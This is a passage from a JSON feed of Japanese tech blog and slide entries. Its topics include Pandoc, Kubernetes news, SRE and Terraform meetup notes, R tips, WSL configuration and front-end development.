基本は文字列処理","link":"https://blog.atusy.net/2022/03/14/pandoc-custom-writer/","contentSnippet":"Pandocは様々な文書ファイルを相互変換できるソフトウェアです。“A unitversal document converter”を名乗るだけのことはあり、HTML, LaTeX, Docx, Markdownなどの様々なファイル形式に対応します。更には対応するファイル形式の追加に対応します。入力の場合はカスタムリーダー、出力の場合はカスタムライターと呼ばれ、共にLua言語で定義できます。","isoDate":"2022-03-14T00:00:00.000Z","dateMiliSeconds":1647216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NFTを開発するためのブロックチェーン・スマートコントラクト技術","link":"https://speakerdeck.com/shukob/nftwokai-fa-surutamefalseburotukutiensumatokontorakutoji-shu","contentSnippet":"https://cryptocurrency.connpass.com/event/240069/\\rNFT(Non Fungible Token:非代替性トークン)が社会で大きな注目を集めています。\\rEthereum(イーサリアム)ブロックチェーンの概要から始まり、スマートコントラクトについて触れ、NFTを開発するための技術についてお伝えしました。","isoDate":"2022-03-12T05:00:00.000Z","dateMiliSeconds":1647061200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Observability Conference 2022 に登壇しました","link":"https://zenn.dev/nwiizo/articles/d837b78914de23","contentSnippet":"「Dapr の概念と実装から学ぶ Observability への招待」 というタイトルで登壇します。https://event.cloudnativedays.jp/o11y2022/talks/1382:embed:cite セッション概要Dapr は CloudNative な技術を背景に持つ分散アプリケーションランタイムです。本セッションでは Dapr の Observability に関する各種機能と、その実装について解説していきます。さらにスリーシェイクの Dapr と Observability への取り組みに関してもご紹介します。Dapr の機能でカバーできる点...","isoDate":"2022-03-11T04:02:18.000Z","dateMiliSeconds":1646971338000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[2022/03/04] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220304","contentSnippet":"普段は#kubenewsの2022年03月04日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/3s0T6k24I_o 告知とかニュースっぽいもの Twitterコミュニティ機能についてhttps://twitter.co...","isoDate":"2022-03-04T12:34:50.000Z","dateMiliSeconds":1646397290000,"authorName":"bells17","authorId":"bells17"},{"title":"RStudio Serverでblogdownを快適に使えるようにする","link":"https://blog.atusy.net/2022/03/02/blogdown-rstudio-server/","contentSnippet":"RStudioではうまくプレビューできたblogdown製のウェブページが、RStudio Serverではうまくプレビューできないことがあります。例えば以下のようなことが起きます。","isoDate":"2022-03-02T00:00:00.000Z","dateMiliSeconds":1646179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ウェブサイトのCSSやJavaScriptでキャッシュの衝突を避ける","link":"https://blog.atusy.net/2022/03/02/hugo-css-fingerprint/","contentSnippet":"CSSやJavascriptのキャッシュはブラウジングの速度に貢献する一方、更新がクライアントサイドに適切に反映されない場合があります。ブラウザがキャッシュしている場合、キャッシュの有効起源切れを待つかスーパリロードを使うという手もあります。スーパーリロードはChromeやFirefoxではCtrl+Shift+Enterのキーボードショートカットでも実行できます。","isoDate":"2022-03-02T00:00:00.000Z","dateMiliSeconds":1646179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"JAWS-UG SRE支部 #2 突撃!となりのSRE","link":"https://blog.masasuzu.net/entry/2022/02/26/012602","contentSnippet":"jawsug-sre.connpass.com聞いてきましたのでメモと感想を残しておきます。LTマネーフォーワードのマイクロサービス基盤のこれまでとこれから by マネーフォワード @grezarjpマネーフォワードのマイクロサービス基盤の移り変わりの紹介。中央集権構造 => 権限移譲フェーズ => これから中央集権構造サービスごとに開発チームが存在、サービスにまたがってインフラチームが存在開発チームはインフラを気にしなくてもすんだ。メンバーが少ないうちはなんとかなった組織の規模に対してインフラチームがスケールしなくなった責務の分解点を再定義 DevOpsへ権限移譲フェーズ開発チームに権限を渡していくAWSとKubernatesを使用ランタイム、ミドルウェアも開発チームが管理サービスごとにNamespaceを切る、Namespace内で開発チームは権限を持つマイクロサービスごとにAWSアカウント管理して、リソースを管理するこれから権限は渡したが、運用まではむつかしい開発の運用を負荷を下げるためにTerraformのモジュール化、設定のバリデーションの整備AWSアカウントの統制、コスト可視化を進めたいアプリケーションランタイムのSnadbox化特殊要件なアプリケーションで使えるように開発チームにここまでインフラの権限を渡せて、運用できるのはすごいなと思った。QAQ: 開発チームの権限移譲の苦労、運用面、技術面A: マルチアカウントをつかって 技術上の考慮点があった人と人とのかかわりに関しては銀の弾丸はないので、地道な作業が必要ドキュメントとかで監視項目を揃えてあげるのに力を入れたQ: 開発とインフラでスキルセットの違いはあった?A:インフラはアプリをあんまり見てこなかったのでそのへんのギャップはあったQ: EKSのテナント分割の単位A: 権限分類と障害の影響範囲の最小化はシングルテナントが有利とは言われるが運用負荷を下げるためにマルチテナントを選んだSREグループのマネージャーという立場になって真っ先にやったこと by ミクシィ@isaoshimizu内容に関しては、スライドに詳しく書いてあるので参照。SREのミッション・バリューいいなあと思った。うちのチームでもちゃんと考えたい。SRE Lounge #13 LTでも今回と近いことを書いてるので参照してほしいとのこと↓組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' BlogQAQ: SRE主導でやるべきではなかったことA: SREは万能な人がおおくでできてしまう開発側のリソースが足りなくて急がないといけないことをSREがやってしまう本来はそうじゃないよねって話自分としては、SREでも開発分野でも巻き取れることはやってしまってもいいと思うんですよね。線を引きすぎるとセクショナリズムになってあまり良くない気がしてる。組織のあり方はそれぞれで、コンテキスト分かってないので、言い切ることはできないですが。Containerサービス と Toil と by スリーシェイク \xa0@tt0603ECSとEKSについてToilと紐付けての話題。Toilの削減ステップ特定計測削減ただこのプロセスはつらい。SREとしては長期的なエンジニアリング に時間を使いたい。本質的なことをすることが目的。Toilを削減することが目的ではない。技術選定として、まずマネージドで考える。チームとして何を大事にしているかを考える。自分たちの”サイズ”で技術選定をして価値あるエンジニアリングをする。個人的にはEKSとECSのまとめがわかりやすくてよかった。QAQ: セルフホステッドを選択する場合は?A: 監視するとき Prometheus使うときとかつらいのでFargateは起動が遅い スケールが遅い技術選定において、自分たちの「サイズ」っていう要素が存在するというのは暗黙的なものになりがちなので、ちゃんと具体的に捉えておくの大事な気がした。 #jawsug_sre— Tomoya Kitaura (@kitta0108) 2022年2月25日 先程はパッと答えられませんでしたが、弊社の場合はMicroServiceを運用する際にはIstioを利用するケースが非常に多く、現状では対応していないため、EKSの場合はSelf Hostedを利用するケースが多いですー#jawsug_sre— TakuyaTezuka@3-shake (@tt0603) 2022年2月25日 パネルディスカッションMFのSREの組織のやり方で工夫してるところもともと中央集権的だった、開発に権限移譲していった権限を渡していっていながらそれ以上にプロダクトが開発が増えてしまったので負荷が増えてしまったenabling SREを広げる役割もつくるSREというポジションじゃなくてもSRE的な動きができるように組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' Blog技術支援からSREの組織変数がいくつか システムの規模 性質 組織規模、レベル感などpure sreではじめて権限移譲していく自分たちのサイズに合わせて組織を作っていく開発とSREのベストの距離感タイミングによって違う固定されたものじゃない構成をいかにシンプルにできるかが大事SREが開発に使いやすいサービスを提供するSREのAPIを提供するので好きに使って的な横断組織SREと開発チーム内SREというパターンもあるお互いのコミュニケーションは大事採用する際に求めるスキルセットやレベル感なんでもかんでも能力を持ってる人はいない。特定の領域に得意を持ってるといい、最低限のレベル感はほしいコミュニケーション 大事 ソフトスキルの担保が大事会社のバリューにあってるかSREワークブックの最後の方求められるスキル書いてあるすべてのインフラコードはIaCに寄せたい、チームにはソフトウェアスキル、インフラスキルそれぞれ持つメンバーがほしい変更時のトラブルシューティングはできるべきコードレビューできるスキルを持っていてほしいコーディングあるていどできる人組織による開発をSREに興味をもってもらうはどうしたらいいのだろうかSLOを決めて共通言語で話す留学すると面白いかもお互いがどういう観点で仕事してるかがわかってよいどこまで開発に移譲するかエラーバジェット、SLO、SLIは必要SREが設定するSLOより開発者が設定するSLOの方がいい開発者にとってうまいところを教えるアプローチ開発者にとってもバグが出ないことによって、気持ちよく開発できるよ!開発者の観点じゃなくてビジネス観点でSLO設定するんじゃないのかなって思う。。。?あと、留学いいなあと思った。開発チームに留学したい。SREチームが存在しない。どんなフェーズになったらSREチームを作ったほうがいいというしきい値あります?開発者が開発以外に手を取られて開発スピードが落ちてるのが目に見えたら兼務の限界値がある。得意なことにバリューを出せるようにしたい開発しながらAWSの新機能をキャッチアップするのはたいへんdevとopsのバランスが崩れているとき SREのプラクティスをいれるといいのかもエラーバジェットが判断軸になるかもどれくらいのチームが困ってるかが判断軸になるToil撲滅の意味で費用対効果高かったLambdaランキング今Lambdaを殆ど使ってないchatbotが出たのでLambdaの役割を終えたEKS上にアプリケーションを作ってしまうことが多い必要悪としてのLambda コードを書くのは最終手段。書いた瞬間に負債になる時刻でEC2終了するLambdaオートスケーリングでいいのでは?terrafromでLambda扱いにくい問題SREとしてセキュリティに対しての役割サービスInspectorECRのイメージスキャンCI/CD成立してからじゃないとイメージスキャンできないGuardDutySSOIAM Userを撲滅できたただ個別要件に対応しにくいSREが見てるケースが多いコーポレートセキュリティは範疇じゃないが、アプリケーションセキュリティは範疇5,6人目にセキュリティが強い人がほしい着想の段階からセキュリティの観点をいれておきたいモニタリングロギングの観点で使用してるAWSのサービスAMPEKS使ってるのでコスパが良かったCloudWatch log通知考えるとLambda使わないとAthenaわずらわしい検索しにくいLokiとかに寄せたいログをどこにおくS3Lokiってこれかな?Grafana Loki | Grafana Labs雑感他の会社のSREの話を今まであまり聞くことがなかったので、気づきを得る部分が多かった。SREのミッション・ビジョン・バリューはちょっと考えてみたいなと思った。オンライン開催の形式はYouTube Liveがいいなあって思った。聞き逃しても巻き戻して聞き返せるのがすごい体験として良い。","isoDate":"2022-02-25T16:26:02.000Z","dateMiliSeconds":1645806362000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"[2022/02/25] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220225","contentSnippet":"普段は#kubenewsの2022年02月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL: 配信中止して記事だけ放流したので配信URLはありません 告知とかニュースっぽいもの NetApp Insight Japan 2022で講演しましたセッション動...","isoDate":"2022-02-25T13:31:31.000Z","dateMiliSeconds":1645795891000,"authorName":"bells17","authorId":"bells17"},{"title":"[EN]Trident Deep Dive","link":"https://speakerdeck.com/bells17/en-trident-deep-dive","contentSnippet":"NetApp INSIGHT Japan 2022\\rhttps://insight.netapp.com/ja/\\r\\rvideo: http://netapp.tv/details/28744\\r\\rJapanese ver: https://speakerdeck.com/bells17/trident-deep-dive","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"bells17","authorId":"bells17"},{"title":"Mastering the Lightning Network 第1章を読む補足資料","link":"https://speakerdeck.com/shukob/mastering-the-lightning-network-di-1zhang-wodu-mubu-zu-zi-liao","contentSnippet":"https://cryptocurrency.connpass.com/event/239005/\\rMastering the Lightning Network 第1章の補足資料です","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"`list.files`関数で拡張子を指定したファイルを一覧するなら、`pattern = \\"\\\\\\\\.csv$\\"`みたいにすること","link":"https://blog.atusy.net/2022/02/25/list-files-pattern/","contentSnippet":"list.files(pattern = \\".csv\\")みたいなのを見かけるけど、うっかりanalyze-csv.Rみたいなファイルにもマッチするよ。厳密にはlist.files(pattern = \\"\\\\\\\\.csv$\\")としよう。ファイル操作にはfsパッケージも便利。","isoDate":"2022-02-25T00:00:00.000Z","dateMiliSeconds":1645747200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【TypeScript】指定したパスのみ必須にするUtility Type","link":"https://zenn.dev/kimitsu/articles/c0cc29dde1c054","contentSnippet":"TypeScriptにはプロパティを必須にするRequiredというUtility Typeがある。type Props = { a?: number; b?: string;};const obj: Required = { a: 5, b: \\"test\\" }; // a, bが必須になるhttps://www.typescriptlang.org/docs/handbook/utility-types.html#requiredtypeRequiredは全てのプロパティを必須にする。なのでPropsのaのみ必須にしたい場合は次のようなU...","isoDate":"2022-02-24T15:11:31.000Z","dateMiliSeconds":1645715491000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Osaka.R Slackの朝もくチャンネルにツィートボタンを設置","link":"https://blog.atusy.net/2022/02/24/osakar-tweet-button/","contentSnippet":"Slackではチャンネル上部に関連ページへのリンクを設置できます。メッセージと関連ページのリンクをピン留めするこの機能を使って以下のように、TweetボタンをOsaka.R Slackの朝もくチャンネルに設置しました。","isoDate":"2022-02-24T00:00:00.000Z","dateMiliSeconds":1645660800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Neovimのconfigファイルをinit.lua化したので覚書","link":"https://blog.atusy.net/2022/02/21/nvim-init-lua/","contentSnippet":"Neovim 0.5からはconfigファイルにinit.luaとしてLuaスクリプトでの記述を推奨しているそうです。そこでVim/Nvim初心者が移行作業にあたって、どうやって情報を収集したか、途中で得た知見、やり残したことをまとめておきます。","isoDate":"2022-02-21T00:00:00.000Z","dateMiliSeconds":1645401600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Future Tech Night #20 Terraform State縛りの勉強会 #future_tech_night","link":"https://blog.masasuzu.net/entry/2022/02/17/210848","contentSnippet":"future.connpass.com久しぶりにちゃんと勉強会の感想ブログ書きます。① State の分割戦略 〜ModulesとWorkspacesを利用して〜StateはTerraform上での管理を分ける意味では非常に重要な要素であり、適切に分けることで不慮の事故や予期せぬ変更からクラウドリソースを守ることができます。このセッションでは演者が実際にTerraformを利用して感じたことを交えながら、適切なStateの分割戦略とは?について話します。Stateの分割についてModuleによるアプローチとWorkspacesによるアプローチ、そしてそのあわせ技についての説明がありました。Workspacesは使ったことないのであまり知見がなかったので、いろいろ参考になる部分がありました。今のterraform運用だと環境ごとにディレクトリを切ってstateを分割してます。で、環境ごとの差異としてパラメータだけでなく、作るリソース作らないリソースが若干まちまちなので、そのままだとWorkspacesは向かないなと感じました。絶対に作るリソース、RDSやVPCなどは分割した上でWorkspacesで管理するのはありなのかなとは思いました。ただ、同じシステムで、環境毎のディレクトリとリソース毎のディレクトリが混在するのはわかりにくくならないかなという懸念はあります。悩ましいですねあと、ブランチ戦略も難しいですね。現状はmasterでprdをapplyするように、stagingでそれ以外の環境をapplyするようになってますが、全部masterでやるようにしても良いのではと思ったりもしてる今日このごろです。② クラウドリソース自体をdestroy/createdせずに、Terraformリソース定義の記述場所を変更する方法クラウドサービス上で稼働するリソースには一切手を付けずに、Terraformの定義記載場所だけを変更する方法を話します。Terraformを利用していると「このディレクトリ配置じゃダメだ。配置変えしたいのだけれど、リソースの再作成はできない。次にインフラ設計するときは、〇〇に注意しよう」という運用ナレッジが貯まると思います。スタート時点で完璧なTerraformディレクトリ設計ができれば御の字ですが、それが不可能なことは、この分野でベストプラクティスが確立されていないことにより証明されています。本パートでは「Terraformのディレクトリ配置には定石がないのだから、運用状況に合わせて柔軟に配置換えすべき」という観点から、「動作中リソースに影響なく、Terraform定義箇所を移植する方法」について話します。20220217_FutureTechNight_#20_TerraformState縛りの勉強会.pptx - Google スライドこんなふうに別のtfstateファイルにリソースをmvすることによって、Stateにリソースを移動できる手法を説明してました。terraform state mv -state-out=${moved_resource.tfstate} ${moved_resource}terraform state pull > ${to.tfstate}terraofm state mv -state=${moved_resource.tfstate} -state-out=${to.tfstate}terraform state push ${to.tfstate}State間でのリソース移動に関しては、terraform state rmとterraform importのあわせ技しか知らなかったので、新しい知見を得ました。まだ試せてないないんですが、State内での移動であれば、moved block使うのもありなのかなと思いました。ちなみリソースが消えた場合にもmove blockって使えるんですかね?なかなか他の会社のterraform運用の話を聞く機会があまりなかったので、楽しかったですね。最近勉強会出てもメモすら残さないことが多くて、せっかく参加したのにあまり有意義に時間を使えていなかったので、薄くてもいいので今後ちゃんと感想、意見を書き残していきたいと思いました。","isoDate":"2022-02-17T12:08:48.000Z","dateMiliSeconds":1645099728000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"[2022/02/10] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220210","contentSnippet":"普段は#kubenewsの2022年02月10日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/adlS59o984M 告知とかニュースっぽいもの k8sを便利にするらしいTanzu Application Platform...","isoDate":"2022-02-10T12:56:14.000Z","dateMiliSeconds":1644497774000,"authorName":"bells17","authorId":"bells17"},{"title":"minidown 0.4.0をCRANにリリースしました","link":"https://blog.atusy.net/2022/02/09/minidown-0-4-0/","contentSnippet":"minidownパッケージはR Markdownにおけるhtml_documentをもっとイイ感じにしたものです。作った理由や凄いところはTokyo.R 95の発表資料にまとめてます。","isoDate":"2022-02-09T00:00:00.000Z","dateMiliSeconds":1644364800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"cronRパッケージで環境変数を指定する機能を追加するPRをした","link":"https://blog.atusy.net/2022/01/21/support-envvar-in-cronr/","contentSnippet":"登山本で紹介したパッケージの機能不足コメントを頂いたのが嬉し過ぎて、 パッケージに機能追加を提案してきました。","isoDate":"2022-01-21T00:00:00.000Z","dateMiliSeconds":1642723200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"書籍「Rが生産性を高める」のサポートサイトを公開しました","link":"https://blog.atusy.net/2022/01/20/r-efficiency-book-support-site/","contentSnippet":"igjitさん、hanaoriさんと共に「Rが生産性を高める〜データ分析ワークフロー効率化の実践〜」を共著しました。公式サイト:https://gihyo.jp/book/2022/978-4-297-12524-0サポートサイト: https://github.com/ghmagazine/r_efficiency_book電子版の発売は1/21、紙版の発売は1/26となっています。早くみなさんの元にお届けしたいですね。","isoDate":"2022-01-20T00:00:00.000Z","dateMiliSeconds":1642636800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"grepとユカイな仲間たち","link":"https://blog.atusy.net/2022/01/18/grep-and-friends/","contentSnippet":"help(grep)にあるgregexprとかを理解したい。","isoDate":"2022-01-18T00:00:00.000Z","dateMiliSeconds":1642464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"StanでFused LASSOしてみたかった","link":"https://blog.atusy.net/2022/01/12/stan-fused-lasso/","contentSnippet":"テストデータgenlassoパッケージによる実装正則化項による実装状態空間モデルで実装コメントStanでLASSOを実装すると、罰則化項Lambdaも同時に最適化できる。そりゃいいなと思ったのでFused LASSOも実装してみたくなった。","isoDate":"2022-01-12T00:00:00.000Z","dateMiliSeconds":1641945600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Stanを使ったBayesian Lassoの実装に関するメモ","link":"https://blog.atusy.net/2022/01/09/bayesian-lasso/","contentSnippet":"LASSOは確率モデルだと係数の事前分布にラプラス分布を指定したものに相当するって話はちょいちょい聞くけど、実際の証明とか実装はどうなってるんだろうなーと思ったので、いくつかのサイトを渡り歩いてみた。","isoDate":"2022-01-09T00:00:00.000Z","dateMiliSeconds":1641686400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"WSL2でDNSは8.8.8.8を見つつX Serverを利用する","link":"https://zenn.dev/tayusa/articles/8a76c02772d0a5","contentSnippet":"概要VPNを利用するのでDNSサーバーを8.8.8.8に固定したいしかし、X Serverを使うので環境変数DISPLAYにWindowsが解決するホスト名を使用しているexport DISPLAY=\\"$(hostname).mshome.net:0.0\\"DISPLAYにホスト名ではなくIPアドレスを設定しDNSサーバーを固定する DNSサーバーを固定 /etc/wsl.confを作成/etc/wsl.conf[network]generateResolvConf = false /etc/resolv.confを削除$ sudo unli...","isoDate":"2021-12-28T00:57:59.000Z","dateMiliSeconds":1640653079000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"RでPython風docstringを実装してみる","link":"https://blog.atusy.net/2021/12/20/r-docstring/","contentSnippet":"関数魔改造講座body編と言えるかもしれない……。黒魔術の世界へようこそ。","isoDate":"2021-12-20T00:00:00.000Z","dateMiliSeconds":1639958400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Nuxt.jsを「正しく」終了する","link":"https://zenn.dev/satohjohn/articles/fd876409209ed1","contentSnippet":"はじめにこの記事はNuxt.js Advent Calendar2021の12日目の記事です。11日目は@Skmt3PさんのNuxtのコンポーネントをWeb Componentとして利用するでした。(web component触ってきてないからへぇって気持ちで読まさせていただきました) 概要hooks自体を調べていたときにcloseという項目がありました。そして、説明にはNuxt インスタンスが正しく終了したときというのがありました。「正しく」とは一体…となって原文を見てみるとNuxt instance is gracefully closing.というこ...","isoDate":"2021-12-11T15:35:11.000Z","dateMiliSeconds":1639236911000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Self containedなHTMLドキュメント生成時にiframeしたいなら`knitr::include_url`関数を使おう","link":"https://blog.atusy.net/2021/12/06/rmarkdown-iframe/","contentSnippet":"R Markdownのhtml_documentなどでHTMLドキュメントを作成すると、デフォルトではグラフなどの画像もHTML内に埋め込んでくれます。","isoDate":"2021-12-06T00:00:00.000Z","dateMiliSeconds":1638748800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Japan.RでTidy Tuesdayの企画した","link":"https://blog.atusy.net/2021/12/05/japanr2021/","contentSnippet":"みんなEnjoyしてくれて成功。私はTidy Tuesdayの企画と、コミュニティ運営に関するパネルディスカッションのパネラーをしました。","isoDate":"2021-12-05T00:00:00.000Z","dateMiliSeconds":1638662400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Daprつかってみた(Web APIのイメージでローカルストレージとGCSを同じように扱ってみる)","link":"https://zenn.dev/satohjohn/articles/96873574f07534","contentSnippet":"この記事は Web API Advent Calendar 2021 の5日目の記事になりますちなみに4日目は@sys_zeroさんのPower Automate for desktopの変数に関するTips「JSONにnull値がある場合の選択的置換」でした今回は、当日まで全く内容について考えられてなかったのですが、ふっと、頭にわいた、個人的に気になっているDaprについて調べて、ローカルストレージとGoogle Cloud Storage(以下GCS)を扱ってみます なんで今回Dapr?Daprを使うメリットの1つとして、他のサービスにつなぐ方法をHTTPまたはgRPCに...","isoDate":"2021-12-04T15:01:17.000Z","dateMiliSeconds":1638630077000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Tokyo.R 95でminidownパッケージを紹介でLTしてきました","link":"https://blog.atusy.net/2021/10/31/tokyor95/","contentSnippet":"LT時間切れで消化不良だったのに☆15もつけてくれてありがとう。","isoDate":"2021-10-31T00:00:00.000Z","dateMiliSeconds":1635638400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"LinuxでIntel製CPU内蔵のGPUを使うと動画再生時に画面がちらつく問題の対策","link":"https://blog.atusy.net/2021/10/24/linux-tearing-intel-gpu/","contentSnippet":"この1、2ヶ月ほどmanjaroで動画を再生する時、画面がちらつくようになったのが気になっていました。ググったところ、Intel製GPUの場合はちらつき防止のオプションがあるので有効化するといいみたいですね。","isoDate":"2021-10-24T00:00:00.000Z","dateMiliSeconds":1635033600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GKE CNI Deep Dive (2021)","link":"https://qiita.com/toVersus/items/4ff2525d562d8de4d530","contentSnippet":"GKE (Google Kubernetes Engine) のネットワーク周りの実装はユーザーの見えないところで変化を続けています。以前は、公式ドキュメントにあるように bridge interf…","isoDate":"2021-10-23T08:20:56.000Z","dateMiliSeconds":1634977256000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"\uD83D\uDD0D 可観測性に入門しよう","link":"https://speakerdeck.com/hiroki_hasegawa/ke-guan-ce-xing-niru-men-siyou","contentSnippet":"社内LTにて、可観測性を布教しようと試みましたʕ◔ϖ◔ʔ\\r\\r関連テーマ(SREに入門しよう):\\rhttps://speakerdeck.com/hiroki_hasegawa/sreniru-men-siyou","isoDate":"2021-10-22T04:00:00.000Z","dateMiliSeconds":1634875200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"WSLでGitHubのPersonal access token認証","link":"https://zenn.dev/tayusa/articles/f81e6551642867","contentSnippet":"参考https://github.com/microsoft/Git-Credential-Manager-Core#windows-subsystem-for-linux-wsl GitCredentialManagerとGitをインストールPowerShellにて> winget install --id Microtsoft.GitCredentialManagerCore> winget install --id Git.Gitwingetがなければ https://github.com/microsoft/winget-cli#installing...","isoDate":"2021-09-30T16:01:55.000Z","dateMiliSeconds":1633017715000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"PandocでPDFを作成する時に表の枠線を格子状にする","link":"https://blog.atusy.net/2021/09/22/pandoc-partial-conversion-by-filter/","contentSnippet":"LuaフィルタからJSONフィルタを呼んで更にPandocを呼びます。辛い。 プリアンブルも必要。 R Markdownユーザーは素直にパッケージを使いましょう。","isoDate":"2021-09-22T00:00:00.000Z","dateMiliSeconds":1632268800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ブランチをディレクトリに割り当つつGit管理対象外ファイルも同期するgit worksyncを作った","link":"https://blog.atusy.net/2021/09/15/git-worksync-1-0-0/","contentSnippet":"ブランチごとに別ディレクトリで簡単に作業できるgit worksyncコマンドを作りました。.gitignoreに入っているファイルや、git addしていないファイルも良い感じに同期できます。.venvとかdataとかGitで管理したくないけど、なくてはならないディレクトリをいつもあなたの傍に。","isoDate":"2021-09-15T00:00:00.000Z","dateMiliSeconds":1631664000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Vuexの型定義でモジュールでの型解決してくれるようにしてみた","link":"https://zenn.dev/satohjohn/articles/b064cf966a9e20","contentSnippet":"前提Nuxt.jsでVuexを使っているのでそのときにhttps://github.com/ktsn/vuex-type-helper以下を利用させてもらっていましたただ、モジュールのstore場合利用時にtypeがうまくはまらないから、どうするんだろうとか色々見てたのですがあんまりいい手段が見つからなく、自分で型定義でテンプレートリテラル部分書いたらどうなんだろうとおもってやってみました。正直もっと良い手段があると思いますが、今回は自分の勉強踏まえの備忘録。そして、多分Vue3対応とかが入ったらちゃんと動いていくんだと思うので、後で書き換えればいいし、現状型の問題だけな...","isoDate":"2021-09-11T04:37:38.000Z","dateMiliSeconds":1631335058000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Google ColabでRパッケージの再インストールを爆速にする","link":"https://blog.atusy.net/2021/08/30/quickly-install-r-packages-on-colab/","contentSnippet":"Google Driveを活用してtidymodelsパッケージの再インストールを5分から1秒に短縮した。","isoDate":"2021-08-30T00:00:00.000Z","dateMiliSeconds":1630281600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"FirebaseのCliでの操作で401系エラーが出るときの解決法","link":"https://zenn.dev/satohjohn/articles/d409819196c6b8","contentSnippet":"考えられる原因は以下ですログインできていない本当に権限がないcliに保存されているクレデンシャルが古い 前提環境としてはfirebase-tools 9.16.5です ログインできていないコレはわかりやすいです。以下コマンドでログインしてくださいfirebase loginちなみに、すでにログインしている場合は、ログインしているアカウントが表示されます(コレはまりポイント 本当に権限がないGCPのIAMの権限を確認してください。個人で直接Firebaseプロジェクトを作っている場合はあまり関係がないかもしれません。 cliに保存されているクレデンシャ...","isoDate":"2021-08-17T05:54:30.000Z","dateMiliSeconds":1629179670000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Rの乱数生成関数は一発で色んなパラメータの分布を作れるよ","link":"https://blog.atusy.net/2021/08/13/vectorize-rng/","contentSnippet":"あまり知られていない事実かもしれませんが、Rで乱数を発生させる関数のパラメータはベクトル化されています。つまり、正規分布から3000個の乱数を作る時、1000個ごとに期待値を0、1、2と変えるようなことが簡単にできます。覚えておくとシミュレーションで乱数が必要な時に、関数呼び出しを一度に纏められて便利&高速です。","isoDate":"2021-08-13T00:00:00.000Z","dateMiliSeconds":1628812800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"書評「機械学習を解釈する技術」","link":"https://blog.atusy.net/2021/08/09/techniques-to-interpret-ml-models/","contentSnippet":"どんな人におすすめか購入を迷う場合感想頭から順に読みたい本付録が充実冒頭の解説がイカス森下光之助(@dropout009)著「機械学習を解釈する技術」を献本頂きました。8月4日から8日までの間に、暇を見つけては開いて読了。せっかくなので全体的な感想をまとめておきたいと思います。読む最中の感想はTwitterのスレッドに綴りました。本稿では蛇足になると判断して省略する部分も多いので、気になる人は覗いてください。","isoDate":"2021-08-09T00:00:00.000Z","dateMiliSeconds":1628467200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83C\uDFD7️ 